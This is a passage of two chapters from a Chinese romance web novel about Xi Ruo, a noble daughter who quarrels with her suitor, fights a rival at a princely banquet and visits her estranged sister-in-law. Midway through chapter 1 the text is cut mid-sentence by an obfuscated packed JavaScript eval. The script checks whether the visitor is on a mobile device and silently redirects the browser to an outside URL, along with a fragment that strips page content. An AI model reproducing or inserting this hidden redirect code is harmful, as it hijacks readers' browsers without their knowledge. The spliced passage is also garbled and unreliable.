《脉脉至遥迢》 1. 争端 息偌近来因与冯晚又吵了一架,心情不大好,躲在房中几日不曾见人,连父母那处都少待,生怕见着长兄。 当初知道他们两人在一起的时候,长兄息停的脸色就颇有深意,半真半假似嘲非嘲地评价了她一句:“凭你也能降得住冯予迟?” 冯晚和息停是多年的好友了,息偌小的时候没少跟在两人后头,自觉在冯晚眼中与旁人不同,彼时颇为自信地同息停道:“正所谓一物降一物,他哪里是我的对手?” 息停当时什么也没说,就只是冷笑了一声。 息偌一心想着要打长兄的脸,谁知后来倒是自己的脸被打得生疼。息停猜得一点不错,息偌与冯晚吵架的话若都能换成甜言蜜语来听,两个人早就该成千年不散的深情眷侣。 这回仍旧是为了些鸡毛蒜皮的事争执起来,只是冷战的时间颇有些长。再加之听说冯晚仍旧是整日吃喝玩乐未曾误过,于是息偌更生气了。 生气之余,却也窘迫,若是遇上息停,保不准要被他如何嗤笑奚落。好在这些时候他公务繁忙,甚少归家,倒免去了她的尴尬。 息偌冷静了许多天,回忆起几日前不欢而散的场面,想那也不是什么大事,无非是话赶话罢了,便自己消了怨气,思忖起要如何和好才是。 正想着,她好友彭琰来了府上拜访。 彭琰见过了息家诸位长辈,这才来见她,待细细将她打量了一圈,才十分熟稔地道:“南平府过几日设大宴,请了许多世家儿女前去。你也同我一起罢?” 南平府与冯家有亲,这样大的宴会,冯晚自然是要去的。她也是太了解好友的个性了,眼见着时间差不多,息偌也该后悔了,便过来邀请。 她十分理解又好笑地道:“冯九郎一贯是那个模样,你和他认识这么多年了,何必非要和他怄气?如今骑虎难下的,可高兴了?” 息偌被她说中,把手里的丝帕当冯晚,扭了个乱七八糟,拧着眉道:“他自然是一贯没变过的,变的好像是我。” 她语调中有些无奈的落寞与沮丧,道:“从前他待我便如兄长一般好,如今也是一样。可我从前不过是息家妹妹,哪里和如今一样?” 彭琰听懂了,看着她低落的神色,摩挲着她的手背,毫无犹豫地站在了好友这边。 “无耻的小九郎!等我回去就与我阿兄说,让他给冯家伯伯好好说道说道,万不可放过他了。” 彭琰有位兄长是冯晚父亲的爱徒,若他刻意去上眼药,冯晚是难逃的。 息偌又不大舍得了,踯躅道:“却也不必闹到长辈那里去……” 彭琰就知道是这样,很是无情地嘲笑了她一番。 二女闹了一会儿,送彭琰走的时候,息偌被她提醒一回,突然想起来什么,问她道:“这样大的宴,怎么我没听说家里收到帖子?不大对罢?” 彭琰恍然道:“我忘了说!武安郡主归了宁都多日,南平府是为了请她的。” 她说到这句,想起了些不大愉快的旧事,不免露出些尴尬道:“莫不然你就随我一起罢?郡王妃是我姨母,一向疼爱我,南平府不会连我的面子也不给。我只去参拜一回,便过来陪你,可好?” 她越多说,越觉得不好解决,便又补充道:“咱们去了径自抓冯九郎去,抓了便走,不多留。” 彭琰再三保证绝不丢下息偌一个,这才上车归家了。息偌觉得有些不妥,但又想,这可是个近来一个极好的“偶遇”冯晚的机会了,实在不想错过,于是犹豫再三,还是打算赴约。 与冯晚见一面就走,她本可以不用与父母说的,但不幸的是,这晚长兄息停归了家中。 宁都城里发生的大事小情,凡与息家相关,未尝有息停所不知的。与其让他先知道了,还不如自己主动招供。 息偌早忘了前头那点因为长日冷战而生出的在长兄面前的尴尬了,自己反复做了许久的心理准备,最后一咬牙一跺脚,硬着头皮去书房寻息停,哆哆嗦嗦地将这事说了。 息停显然是知道宴席这事的,听见息偌说了个开头,就露出了一种看傻子一样的无语眼神。待听息偌声音愈小地说完了,便随手将手中的书信折起来往旁边一丢,冷哼道:“你去罢。” 息偌没动,看着他不大好看的脸色确认了一遍,问道:“真能去吗?” 息停皮笑肉不笑道:“去啊。腿长在你的身上,我总不能将你腿打断罢?” ……他能的。他真能。 息偌立刻丢下一句“谢谢长兄”,便转身跑了个没影。 她脚下轻快,顺着回廊跑出许久,才停下来平复因为激动而急促的呼吸。 她抬眼看着温柔的月色,心里高兴极了,连带着看这晚秋寂寂的枯萎草木都觉得可喜了许多。 她将衣衫与首饰摆弄了好几日,挑了一身最合适的缃黄色衣衫,又俏丽又不张扬,既适合与冷战后的心上人重逢解开矛盾,也适合在这样尴尬的大宴上泯于众人之间。 息偌对此非常满意。 赴宴的那日,彭琰驾车来接她,二女一道往南平府去。 南平郡王与武安郡主只是表亲,年岁也相差甚多,但武安郡主幼年失怙后,一直便住在南平府中,故而两家关系极其亲厚。 武安郡主早些时候出嫁,随夫君离了宁都,前段时间又独自返回了宁都,只不曾与夫君一道,隐约是个夫妇不睦的样子。但偏偏又四处不曾听闻他们婚变的消息,故而也无人敢提。 南平郡王妃问了也没什么结果,见武安郡主不大想提,干脆也就不再多问。 只是她见武安郡主归来后心情始终不好,所以才办了这出宴,好多叫些年轻人来陪她热闹热闹。 至于为何不叫息家,那原因就更加简单。 昔年武安郡主不曾出嫁以前,曾十分爱慕息停,她明媚张扬,闹得宁都贵族之间无人不知。而息停拒绝的姿态也不大体面,他前脚说自己无心婚配,恐误了郡主韶华,后脚便娶了妻子李氏,敲锣打鼓迎她过门。 这般动作,和掴在武安郡主脸上也没什么区别。 武安郡主后来迅速择夫出嫁是为这事堵了气的,如今没多久又夫妇不合,南平府如何能不厌息家? 息偌惧怕长兄,但与长嫂却亲厚,自然知道当初这些事情。 是以今日她一改往日张扬作风,十分低调,万不想在南平府里露脸,免得为了自己这点私心私情,却给家中闹出麻烦。 彭琰自觉要照顾好友感受,寸步不离息偌身边,热闹之处能避则避,更是少与人停步寒暄。 但她毕竟与南平郡王妃有亲,又是小辈,总不好来了却不去拜见,便叫身边的侍女带息偌去无人处暂且歇脚。 “府上后园里假山石多,我幼时来此处玩,故意躲在其中不肯露头,姐妹与仆从一起,半日也寻不到影踪。你且去那边避避人,我与姨母说两句话,立刻就来寻你。” 息偌答应了,往后园中去。那处假山果然面积广大又设置奇绝,她与侍女藏身在其中,听声换位,竟当真是找了个安静的坐处,没正面见着什么人。 她想等彭琰回来了,再让她帮着打听冯晚行踪,可惜老天不遂人愿,还没安生多久,又叫她听见了一群女子的闲谈之声。 息偌耳力敏锐,一听便知道里头有个郑沁。 世家女中,她最厌郑沁。二女自小便不对付,每每相见皆是剑拔弩张,再加之长大后郑沁心属冯晚,息偌却与冯晚交近,便更是到了王不见王的地步。 若是旁人来,息偌便让了,但既然是郑沁,息偌便不肯让了。 她打量着自己所在的这处隐蔽,寻常走不过来,又听郑沁仿佛真就停步在不远处坐下了,便没有走开。 于是她们说话的声音,便异常清晰地来到了息偌的耳中。 “陛下一直记挂着老侯爷,才将爵位原封不动地传给了小侯爷。先前老侯爷去的时候,陛下便要接小侯爷来的,让小侯爷用守孝的事给推拒了。如今孝期满了,陛下又命人马不停蹄地去接,眼见着没几日也就到宁都了。” 郑沁听到这处,摇了摇扇子,蔑声道:“我听闻那清都侯出生时先天不足,自幼多病,瘦的一把骷髅骨头似的,个头也长不起来。要我说,陛下也就是没见着,才会为着老侯爷从前的那些恩义高看他一眼。真要到了宁都,见上一回,保不齐丢到哪个府上院里将养也就罢了,只千万别再去近前惹眼了!” 她拢着扇子笑了,竟是分毫不将这位异姓小侯爷放在眼中。她身旁的那些人,虽不曾有谁如她那般笑出声来,却也不见谁阻止她的。 息偌无声地嗤笑一声,想,这郑沁在外面这般胡言乱语,真该叫她长兄今日也来多听听,最好是多带几个同僚一起,拿了这些狂言悖语做凭证,将他们郑家一起收拾了才好。 但她也只是想想郑沁哭天喊地的模样,对那位素不相识的什么侯一点兴趣也没有。 她连名字封号都没记住。 息偌拿她们的声音当恼人的麻雀叽喳,左耳进右耳出,横竖是没过心。谁知过了一会儿,这把火又烧到了她的身上,便由不得她不在意了。 “清都侯回来,封不封官还不好说,但武安郡主可是在宁都待了许久了。我瞧着,今日这样大的阵仗,倒不像一时半日就要走的样子。如此看,有人怕是要倒大霉!” 息偌听到这句,便突然觉得不好,果真便听下一句有人道:“息家与武安郡主的那些事都旧了,如今两边尘埃落定,哪还能有什么风浪?” “她原先看上息家大郎君,眼见人家成婚了也不肯丢手,几度打扰不成,是叫息大郎君上书陛下扭送回去婚配的。如今她自己日子不如意,息大郎君又要休妻,她必然也是闻风而动,坐不住了。” 息偌当即站起了身,脸色变得十分难看。什么休妻?她家里规规矩矩,父母在上,谁敢休妻?她大约知道外面传得不好听,却不知她们竟在这里乱嚼舌根到如此地步。 侍女小盼跟在近前,一见息偌起身,当下便觉不妙,赶紧过去拉住了她手臂。她家姑娘心里最重家人,岂能由得外人这样随口编排? 而那郑沁听到此处,更是不加收敛。 “李氏的父亲是被西关李氏赶出家门的,如今又死了。那武安郡主也是被小情小爱遮了眼了,凭郎君有多好,何至于这般自降身份,去与个没根基小门户的女子争抢?” 她十分不屑地嘲弄道:“那李氏是出身不好,眼力也不好,身后没有凭仗,白白攀了个高枝,还不知哄着夫君来保自己的荣华。如今武安郡主回来了,瞧她撑几日便要滚出宁都城,那时候才是息家的大笑话呢——” “啪!” 郑沁的话在此句戛然而止。 周遭的世家女纷纷起身,惊愕不已地看着面前的场面,有的向后退步不再作声,有的眼见场面不好,上前要来拉人。 郑沁被人扶住,有些讶然地捂住脸颊回头看去,待看清面前是谁,立时变得怒不可遏,扬声道:“息偌,你敢打我!” 息偌面色紧绷站在她不远处,手指回勾搓了搓因用力而通红的掌心,眼神凶狠地盯着她道:“打的就是你这张接了驴头猪脑的嘴!给你几个胆子,敢在这里编排我兄嫂,编排我息家!” 郑沁金尊玉贵地长了这么大,虽与息偌结了许久的梁子,却也没有过在众目睽睽之下被扇了耳光的经历,这叫她如何能忍? 她一把将身边扶住她的女子推开,讥道:“真当你息家算个什么东西?你家早没落了!长辈们在朝堂上顶不了用,叫你长兄一个冲在前头,少年时便进了官场低头哈腰还不够,还要借姻亲傍着李贵妃给家里谋好处,世家百年积蕴,脸面都要叫你息家丢光了!” 息偌听到这处如何能忍,当即便要上前去,要再给对方几个耳光。 有几个世家女使唤侍女上前,连忙将两人分开拉住了。但话已经说到这个份上,哪有罢休的道理? 息偌狠声道:“我家再无人,我长兄廿余之岁便官拜三品。郑家除了有位老爷子穿着紫袍,小辈还不知排在什么地方!你家倒是人丁兴旺,有不少男儿攀着姻亲想升官,都升到什么地方去了!” 郑家后继无人是眼见的事实,郑沁不是不知道家中也打量着自己婚事的主意。旁人见面总要维护三分面子上的太平,偏是息偌专揭她短处,寻着最要紧的话说出来打她的脸。 郑沁心中便更恨,当即道:“两姓之好延续百年才是姻亲,你家这数年而散的,连以色侍人都算不上,充其量便是心血来潮。你长兄如此,你也不输,成日里丢了女儿家的矜贵姿态上赶着找他冯九郎,可见冯家又将你放在眼里吗?等兴致过了,趣味散了,看看谁能得一辈子不倒的靠山呢!” 这句一出,息偌立刻觉得心里被狠狠刺了一下。 她心中喜欢冯晚,见他便热情,若是吵了架,先低头的次数也多些。她只道有情人不必浪费时光,可自己甘愿是一回事,旁人这样说来又是另外一码事。 她与冯晚到了这样的年纪,家中早该定亲,可是两家人分明知道他们已经走到了一处,却谁也没有将这层关系戳破,谁也没有顺水推舟地定过婚事。 息家是有多番考虑,但冯家如此分明就是装聋作哑的拒绝之意。息偌心里想得多,知道此间有些麻烦,但冯晚对她细心温柔,她也就不将这些烦恼时时记在心上。只是偏偏是她最讨厌的郑沁,拿这事来讥她,她便更加难忍。 场面立刻乱了起来。息偌和郑沁动起手来,稍有些身份的都立刻退开,巴不得抽身在外,更恨自己今日怎么到了此处。 息偌听见有人去请主人的示意了,不过手下半点没停。反正眼下已经闹了起来,躲是躲不得了,还不如干脆痛快些。 她是豁出去,心中暗道:别说是南平府,便是陛下来了,也不能拦她将这妮子的嘴撕下来! 息偌自小长到大,马都骑不利索,投壶百支难中其一,半点不是个能在动起手来的时候占得上风的样子,好在郑沁与她比起来也是半斤八两。 二女在侍女们拦阻之下不大痛快地闹了一场,待衣裳乱了、发髻散了,主家那边方有嬷嬷带着侍女们过来拉开她们,请她们先去更衣梳妆,再见主人。 息偌动手时感到耳前颊侧被郑沁刮了一道,火辣辣的疼,待去房间里重新描妆时对着镜子,方看到是被指甲破开了一道血口。虽细却长,落在白皙漂亮的脸蛋上,很是有些触目惊心。 她心里当下翻上来些后怕,想别要留了疤。 可是下一瞬,她在镜子里看见了后头站着的南平府仆婢,脸又冷了下来,使唤小盼道:“将我这边头发梳光些、梳高些,步摇也不戴了。” 今日有一人少见她脸上这道口子,都是她亏大发了。 彭琰就坐在南平郡王妃那边,听见这事,眼见着南平郡王妃命仆婢去请,一面又焦急息偌的情况,想去瞧瞧,一面又担心自己若是走了,等下息偌过来,兴许沾不得好,便硬是坐住了,只叫侍女去看息偌,顺便提醒她等下来了一味装乖才好。 她的不安骗不了长辈。南平郡王妃打量她一眼,面上没什么表情,道:“她是你带来的罢?” 彭琰连忙道:“我想咱们院子里秋日花也开得好,想叫她瞧瞧,这才邀她同行的,不曾想有这桩事。我自幼便与她交往,她不是蛮横无理的性情,不曾闹过谁家的席宴,想是今日事出有因才如此,绝非故意之举。还请姨母宽宥才好。” 南平郡王妃没接这话,只道:“且见了再说罢。” 如此等了没多久,两边都各自收拾好了,引着到厅中来见。息偌与郑沁同时到达,彼此脸色都不好看,互相哼了一声走进去,都没想过要低头认输。 南平郡王妃坐在上首瞧了一眼,左边那个脸上一道长血口,右边那个脸上一个五指印,各有各的凄凉可怜,偏都不约而同地露在外头,显眼得很,没一个是省油的灯。 她见到这样,便不想管了,只是事情发生在她家,又闹得大,她不过问说不过去。 她摆出长辈的姿态,道:“好端端的两个小娘子,看着花赏着景,有什么话不能好好说?白白遭了罪,也没了兴致。” 白白遭罪事小,败了她今日兴致,真是讨厌。 息偌理直气壮,却不料郑沁却捧着脸哭了起来。她捧得相当有技术水平,又可怜不已,又将一个通红的掌印露在外头。 息偌皱着眉嫌恶地望了一眼,疑心是她下去又给自己补了一巴掌,这才红得比方才更加厉害。 她脸色不由得就臭了起来。 南平郡王妃冷眼在上面看着郑沁卖可怜,玩心眼耍手段的把戏她见得多了,小姑娘家闹腾的事说大不大说小不小,端看她想如何解决罢了。 她没说话,微微转身,极自如地捧了捧案上的茶盏,正面向了身侧另一人。 彭琰瞧得心惊胆战,南平郡王妃身侧坐着的就是武安郡主,她是摆明了无可无不可,将处理此事的决定权交给了武安郡主。 那武安郡主和息停有旧怨,此刻便是看得出是非,也未必真愿意给息偌撑腰,指不定还要借着这个机会贬损一番。 武安郡主衣着华丽,人也妆扮得浓艳,瞧着张扬靓丽,没有半分因婚姻不畅而气色不佳的样子。她此日一直坐在这里陪着南平郡王妃,听到这事,也只是似笑非笑瞧着下面二女。 此刻明白了南平郡王妃的意思,她也没避让,便瞥着下头道:“大好的日子,哭着多晦气。” 郑沁立刻噤声了。 息偌有些犹疑地向上望去。 她没怎么见过武安郡主,只是堪堪有个模糊的印象,今日本以为自己要受些罪,却不料这话一出,倒好像是武安郡主站在了自己这边似的。 郑沁心中也惴惴。她本是想着武安郡主与南平府交好,又与息家交恶,谁知道话一出口竟是如此。她心里暗骂这是个满脑子男人的愚蠢郡主,却也不敢再故意装可怜了。 彼时在场的人那么多,她遮掩也没用,只需稍稍打听一番,自然就知道这事端是谁惹的麻烦,那时才对她不好。 但武安郡主也就说了这么一句。 她并没有追究的意思,转身与南平郡王妃道:“两个小娘子打闹,原不是什么大事,没得闹起来坏了今日宴席的雅兴,还是算了罢。郑小娘子脸肿了,不好见风,遣人好好送回去罢。” 郑沁知道自己不占理,但本想借着息家和武安郡主这点旧怨翻身,未料到武安郡主一点儿也不肯接这个好,竟先将她打发了回去。 她输了此阵,离去前狠狠挖了息偌一眼。 但息偌顾不上瞪回去,她想郑沁的麻烦事小,这里的麻烦事大,她才不信这是要贬了郑沁替她做主的意思。 果然,在一片惴惴不安的宁静里,武安郡主目光向下轻轻瞥了一眼,颇有深意道:“息小娘子脸伤了,未出阁的女孩,这总是不好,也送回去,再传宫里的太医过来。叫个有脸面的仆从随行,口吻诚恳些,同息家长辈和息大郎君好好赔个不是罢。” 长辈就长辈,还非要提一句息大郎君。息偌心里轰然一声巨响。 武安郡主将她送回去。 武安郡主将她送回去后还要找息停告状。 这和天塌了有什么区别? 彭琰一路送她出去,有些懊恼地与她道:“不如我与你一起回去罢?说到底是我要拉你来的,闹出这样的事,也不独是你一人的过错。你父母待小辈从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373534|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来宽厚,想来应当也没什么。我乖巧认错就是了。” 息偌有些惆怅道:“我父母是不说什么,我长兄就不一定了。你都抖成这样了,还过去做什么?” 彭琰的确有些怕息停,只是想到自己带着息偌做了这样的事,就已经忍不住颤抖了,不过是对好友的仗义此刻在硬撑着与恐惧对抗。 她实在担忧,但也尽量宽慰道:“你长兄虽严肃,但你好歹也是他同胞的亲妹妹,他不是那种不护短的人。你受了委屈,他就是要罚你,也不会放过郑家的。你也别害怕,装装可怜,他哪有见了妹妹为他受难还疾言厉色的道理呢?” 见妹妹受难倒也罢了,可她是为冯晚来的,这两者可不一样。息偌轻轻叹气,上了车道:“晓得了,你回去罢。” 武安郡主办事是雷厉风行。息偌回了家,南平府的仆从先是禀了她父母,又仔细带着礼物道了歉。二老心疼息偌脸上有伤,待问清了动手的因果,更是没说什么。 只是到了晚间,息停便又回来了。 他一个大忙人,回来还能是为什么?息偌觉得自己完蛋了,含着眼泪求父母庇护,但即便缩在母亲怀里躲着也没用。息停来拜见了父母,说天色晚了,不打扰父母休息,便要带着息偌出去。 他口吻平淡,但不容置疑。息夫人无奈拍了拍息偌,又对息停道:“好好送你妹妹回去。她今日是为息家遭了难,好好休息养伤要紧,旁的另说也罢。” 息停称是。 兄妹俩一道出了房门,息偌没了依靠,只能瑟瑟地跟在息停身后。待离父母住处远些了,息停方道:“这些时候,你不要再出门了。” 这是要关着她、教训她的意思。 息偌听着兄长冷漠的语气,当下便有些委屈了,眼泪唰的涌了上来,但也不敢出声哭,只能含糊应了一声。 息停听出来了,没多说什么,待将她送回去了,站在她院子门口,方道:“罚你禁足,是让你吃一记今日明知前路不平、还要赴宴自取其辱的教训,免得你往后再犯。你委屈吗?” 她哪敢委屈? 息偌像只小鹌鹑一样,低着头摇头如拨浪鼓。 息停见她如此,顿了顿,又道:“今日都知道你脸伤了,足够了,你也养养伤,免得落疤。郑家将女孩教成这样,这笔账我自然是会算的。” 息偌憋了一路的眼泪一下就掉下来了。 她的委屈如山洪爆发,忿忿不平地看着长兄道:“今日真不是我的错,是那郑沁满嘴胡说八道,我一忍再忍,实在是听不惯。长兄是没听到,她……” 她戛然而止,理智突然回笼,想今日郑沁说的话,没一句适合告诉息停的。 息停也没追问,只道:“我听到了。” 息偌骤然抬头,有些担忧地想要看看息停的表情,夜色里却什么也看不清楚。 她想,是了,宁都城里没有不透风的墙,世家里没有传不开的热闹,息停本就消息灵通,武安郡主还指不定去寻了他,他必然是知道的。甚至于,她听了多难听的话,他必然已经听过了更难听的。 她不知道自己该说些什么,但息停对她扬了扬下巴,示意她回去休息,而后道:“你不用管了。” 息偌其实很想像对父母撒娇一样,抱着息停的袖子说“哥哥真好”,但她不敢。 所以最后她也只是含糊地应了一声,便转身回了房间。 但她这晚没能睡着。 她其实觉得今天有些累,眼皮子沉得抬不起来,但偏偏就是脑子里清醒得很。她脑中始终回想着郑沁今日说她的那些话,真是好难听也好刺耳。 宁都从前有一位世家娘子,为了与一个寒门士族成婚,与家里闹得很是不愉快。那郎君自知门第不配,但却一片赤诚真心,几番上门恳请立誓不成,还受了娘子家中好些磋磨。 这娘子性烈,当即舍弃姓氏,跟着郎君离家成婚。那郎君不忍让她受苦,偏就留在宁都,后来发愤图强,官运亨通,叫夫人好生享了清福。 有活生生的真心人在前,若说冯晚做得不够,却也不然,只是说他做得足够,息偌实在也做不到自欺欺人。 她明白自己需要的越来越多,但冯晚似乎却只能给到她这么多了。 息偌能打郑沁的耳光,却堵不了她的嘴,堵不了整个宁都所有人的嘴。她自觉有些怯意了,只是不知该如何是好。 于是翻来覆去一整晚,怎么也都睡不着,直到天将亮时才迷迷糊糊地浅眠了一会儿。待晨时的光亮打在她眼上将她闹醒,又惹得她好一阵烦躁。 息停说到做到,之后数日,当真嘱咐了守门的家仆拦死了息偌。直过了十余日,息偌的脸也好些了,外头的风声也歇了,小盼再去打听,守门的才松了口。 息偌是好热闹的性子,这几日在家住得越静越烦,一听自己能出门了,连忙吩咐道:“去让息忍备马车,我去郊外看嫂嫂去。” 她的近卫息忍动作奇快,她戴着帷帽走到门口时,马车已经收拾齐备安静等候。 宁都城十分繁华,白日里行人也多,息偌在马车里感觉到速度始终不快,心中有些郁闷。待快到城门处了,便催着息忍在外面扬鞭,要他快些再快些。 息忍原先倒还稳稳控制着速度,架不住息偌一再催促,速度还是快了些。本想着出了城倒也无妨,却不料在城门口转弯时,突然从一旁行出另一辆马车来。 事发突然,息忍反应却快,一手扯住了缰绳,另一手扶住了马车门边,防着息偌在里面坐不住直接滚出来。 息偌确实差点滚出来了。 她稳住身形,意识到出了岔子,但是息忍拦她的动作太过蛮横,硌得她手臂生疼。 她有些娇气地撒起脾气来,同他道:“下次能不能出声叫我一下?我一点防备也没有。再如此我就找长兄,让他把息默换给我。” 息忍知她就是嘴上厉害,嗤了一声没答话,先走到那边马车前,询问那厢的情况。 息偌知道是自己催促才惹出来的麻烦,也没使小性子,撩起车帘看向那边,好随时朝那边道歉。横竖息忍在,即便对方是个不讲理的,她也能全身而退。 那边马车里的主人没露面,却出了声,回应道:“无妨。” 那是个很年轻的声音,温润而雅致,音量不高不低,正好叫他们这样的近距离听到。这马车的主人分明是个很有礼的郎君,虽受了惊没坐稳,却仍是沉稳自持的,也没追究他们的过错。 息偌心里拐了一百零八道弯,默默想:冯予迟这辈子恐怕都做不成这样。 -- 息忍驾着马车往城外而去,这被迫停下来的马车却依旧没动。站在车侧的侍卫雁行确认过自家主子没有异样,便要相询是否离去。 车里倒一时没答话。 这年轻郎君耗费了月余的时间奔波到宁都,本是舟车劳顿亟待休息,却特地嘱咐部下轻车简从先行入城,不要惊动守卫,待他好好逛一逛暌违许久的都城,再说处理正事。 谁知道才到了此处,都城里的熙攘声都还没听到一耳朵,就先出了这样的意外。 他正在吃雁行刚从城墙角下买回来的张记猪蹄呢!才咬了一口,白白糊了一身! 他其实有点想追究,但看着落地染灰的猪蹄,还是忍了下来。毕竟他还不想这么快就被旁人发现他的行踪,而且他也没那个必要为了一只猪蹄和不知谁家的麻烦小娘子攀扯。 他放过了对面,却听得那小娘子遥遥说了声“抱歉”,又唤她那近卫回去,隐约打头是一个“息”字。 小娘子的声音很柔软,而“息”字又实在很特别。 他心念微动,将沾油的手指擦净了,将车窗的帘子掀起一角来,看向那马车离去的背影。 那是个熟悉的样子,从前息停不管他死活,差点将他拖在马车后头拉出二里地。这可太难忘了。 他同雁行吩咐道:“去问问那是何人。” 放下车帘时,他目光微垂,在方才对面马车停下的位置顿了一顿。 驻守城门的兵士都看清了这场冲突,雁行很快打听清楚回来,与他道:“禀侯爷,那男子是息家四娘的侍从。整个宁都有近卫的世家女不多,他们时常出城,城门卫因此有些印象。” 原来这就是息四娘。 马车重新前进,低调入京的清都侯霍恂取出手边木匣里放在最上方的一封信。信封上写的是清都侯,信尾的落款是息停。 息大郎君这一封信中所言之事,霍恂早在数年以前便与他有了交涉。本是想着如今宁都局势不明,打算先放一放,等自己进京明了实况再谢绝,如今看来,倒真该谢谢自己,当初不曾在回信之中将答复的言辞说绝。 雁行离去了一小会儿,很快又回到了马车近前,从帘子旁边打起一道缝隙,将新捧来的油纸包递给了霍恂。 霍恂分外感动道:“雁行,我该去哪里再找一个像你这般会察言观色体察上心的好侍从啊。” 雁行在外头道:“禀侯爷,月银和年赏到位,如我这般的好侍从是不难找的。” 霍恂啃了一口猪蹄,很满意地好好品味了这个想念了许多年的美食风味,很自如地将部下想要涨薪的愿望放在了一边。 他很顺畅地过渡了话题,对雁行道:“待今晚我们住定了,你便去寻一趟息为止,说我到了。行动隐蔽些,莫让人瞧见。” 雁行隐约觉得有些急。他们今日才到宁都,待安顿下来了,凭他家主子的秉性,还得玩上好几日,待玩过了,还要去宫中领骂。往后的事儿还多着,怎么就非要急冲冲地先去见息大郎君呢? 他突然回头看了一眼城门口。 总不能是为了这位息四娘子罢? 2. 撞破 息偌出城后用了半个多时辰,到了京郊一处小别院。 郊外有座永寿山,山坡平缓,风景雅致,是许多贵族高门置办别院的好地界。息偌去的这别院藏在永寿山一处小坳里,与那些缭乱错杂仿佛隔了一道无声的屏障一般,显得异常的安静清幽。 院子外头的高树在这深秋里开始泛黄枯败,只依稀看出先前的茂盛。息偌踩着残枝落叶停在别园的门匾之下,息忍上前替她扣门。 别园。 息偌看着这两个字,就想起大半年前息家那一场乱子。温柔和善的嫂嫂同她道别,头也不回地离开了息家,息偌第一次出城来看她,便看见这偌大而刺眼的别字。 门开的响动打断了她的思绪,息忍报上姓名,等人传话。不多时,一个青衣侍女亲自出来迎接。 这侍女名唤明贞,是息偌的熟面孔。她脸上带着温和恭敬的笑意,接待的姿态也妥帖,口中的寒暄有一种礼貌而客套的热忱,处处都到位,处处都陌生。 合礼是合礼,但不像是对着家人,却像是对着不愿用心的客人。 息偌知道明贞一贯与她的主人一样待人得体,若她此时对自己的态度尚算热情,那也不是对她热情,而是对着息家迟迟不肯给出的那个结果。 息大郎君婚变与妻子分居的事情,在宁都传得沸沸扬扬。许多人都觉得是息停厌倦了自己的妻子,才要与她分手。 只有为数不多的息家人知道,那一天,是这位少夫人整理好了行装,亲自逼息停现身露面去签和离书。 息停没签,但她也没留下。 息偌跟着明贞一路走到内院。她这位嫂嫂一贯生活清透,将日子过得诗情画意,花木绿植皆是仔细布置,处处精心又别致。她不像是分居暂住,更像是要在这里留一辈子。 但她没能去到她的住处,只是坐到了内院接待女客的小明堂中。明贞为她沏茶,用的是一把小壶,端上来的可怜巴巴的一小碟点心,也是并不如何符合息偌口味的类型。 息偌不信她不记得这些,也不信她不注重这些。唯一的解释,就是她指着她快些离去。 她打定了主意今日非要见人,如此怠慢也坐定了不走,便道:“我有一桩紧要事,想要问问嫂嫂,她不在吗?” 明贞道:“四娘子且等一等,我家娘子去后山摘些花叶果子,等着回来蒸糕酿酒,许还得要一会儿。我给四娘子拿些茶点先用。” 息偌不想吃,但她等定了。 明贞没有说过一句劝她的话,但礼数到位了,也没在旁边陪她,自顾自退下去做别的事了。 息偌这一等,就过了半日。 那点心有些干,吃了就口干,还不如不吃。期间到了用午饭的时候,小盼出去寻明贞,明贞回来了一趟,只带了些白粥,并两小碟素菜,道:“还请四娘子勿要怪罪。我家娘子只用早晚两顿,灶上是不做午饭的。四娘子先垫垫肚子。” 小盼见息偌被这般冷待,有些生气道:“旁的再没有了吗?少夫人何时回来呢?” 明贞听见这句“少夫人”,脸上的笑意一下就虚假冷落了几分,道:“她入山时,偶尔也有用一整日的时候。不然,四娘子今日先回罢,若有什么事,改日再来也好。” 若是平常,息偌等了这么久,又渴又饿,早该回去了。可是今日她有事,又已经等了这么久,脾气也上来了,道:“我再等等罢。我带来的那个近卫,也烦请给他些吃食。” 她来时,息忍因是外男不便,所以不曾入内,只是被明贞吩咐侍从带去了外间休息。若是她们在里头都是这种冷遇,只怕息忍那里更是什么也没有。 明贞应声去了。 小盼嘟囔着让她回去,息偌把饭和她一分,倔道:“不回!错的是长兄又不是我,她凭什么不见我?我可怜些,就当苦肉计了。” 她什么也不听,吃了饭又等,如此过了好久,才终于等到李常希回来。 她穿着一身素简的衣衫,发上就两支没有任何花样的细长银簪罢了。她裹着件厚实的披风,只是站在秋风里似乎看着比往常还要更瘦一些。 息偌许久没见她,此刻见她消瘦的样子,有些心疼,心里又骂了长兄几句,去拢她的手,问道:“今日天凉,外面风大,嫂嫂怎么还去山里待了这么久?” 李常希对她的到来并不意外,想是早有人同她说过。她口中答说自己无事,轻飘飘一语带过,问息偌怎么今日忽然过来。 房间里有两个侍女在,门又开着,息偌不好意思,抱着李常希的胳膊说自己想她了。 李常希唇边含着笑,问道:“无聊怎么不去找冯小郎君?” 息偌和冯晚冷战的事情被李常希轻而易举地发现,但她点到即止,转头去吩咐侍女给息偌换茶,没有继续深入。 她既不觉得自己是息家的媳妇,自然也就不会作为长嫂去开解息偌。新茶换到息偌面前的时候,明贞从外头进来,将热好的酒也端到了李常希面前。 李常希空腹抿酒,把新换的茶点推到息偌面前:“今日不留你了。地方远,又近冬日,天黑得早,免得你父母担心。吃两口垫一垫,就让息忍带你回去罢。” 若不是等了这样久,何至于天黑呢? 息偌坐着没动,捧着茶盏看她手里的酒杯,问道:“嫂嫂这酒也是自己酿的?不如留些让我带回去尝尝?” 李常希知道她在想什么,便道:“我来此时只酿了一坛,还要分你?你酒量浅,喝不了两口。难道剩下的要送去给你长兄吗?” 息偌心思被戳破,只好低着头吃东西,吃了两口又恍然,觉得自己可不是为了吃东西来的。 于是她复又开口道:“嫂嫂摘花不是要蒸糕吗?等蒸好了,给我带些走罢。我最馋嫂嫂这一口。” 李常希继续拒绝道:“你回去路上经过好味斋,那里什么糕饼没有?这点花儿还没处理,今日做不出来。” 息偌没法子了。她总不好说,那我明日来,后日来,什么时候做好了,我再什么时候带回去。 